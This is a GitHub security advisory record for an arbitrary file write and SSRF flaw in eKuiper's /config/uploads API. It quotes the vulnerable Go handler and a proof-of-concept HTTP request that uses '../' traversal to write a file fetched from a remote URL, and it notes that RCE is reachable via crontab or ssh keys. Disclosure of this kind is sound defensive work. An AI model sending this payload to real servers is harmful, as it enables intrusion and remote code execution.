GHSA-GJ54-GWJ9-X2C6

Vulnerability from github – Published: 2025-07-03 14:22 – Updated: 2025-07-03 14:22
VLAI
Summary
eKuiper /config/uploads API arbitrary file writing may lead to RCE
Details

Summary

eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

Details

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
    switch r.Method {
    // Upload or overwrite a file
    case http.MethodPost:
        switch r.Header.Get("Content-Type") {
        case "application/json":
            fc := &fileContent{}
            defer r.Body.Close()
            err := json.NewDecoder(r.Body).Decode(fc)
            if err != nil {
                handleError(w, err, "Invalid body: Error decoding file json", logger)
                return
            }
            err = fc.Validate()
            if err != nil {
                handleError(w, err, "Invalid body: missing necessary field", logger)
                return
            }

            filePath := filepath.Join(uploadDir, fc.Name)
            err = upload(fc)
  • The fc.Name parameter do not safely filtered.

PoC

POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}

image

Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

  1. SSRF
  2. Path-Travel
  3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

Severity
7.3 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lf-edge/ekuiper/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lf-edge/ekuiper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.14.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-03T14:22:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := \u0026fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.",
  "id": "GHSA-gj54-gwj9-x2c6",
  "modified": "2025-07-03T14:22:05Z",
  "published": "2025-07-03T14:22:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lf-edge/ekuiper/security/advisories/GHSA-gj54-gwj9-x2c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lf-edge/ekuiper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "eKuiper /config/uploads API arbitrary file writing may lead to RCE"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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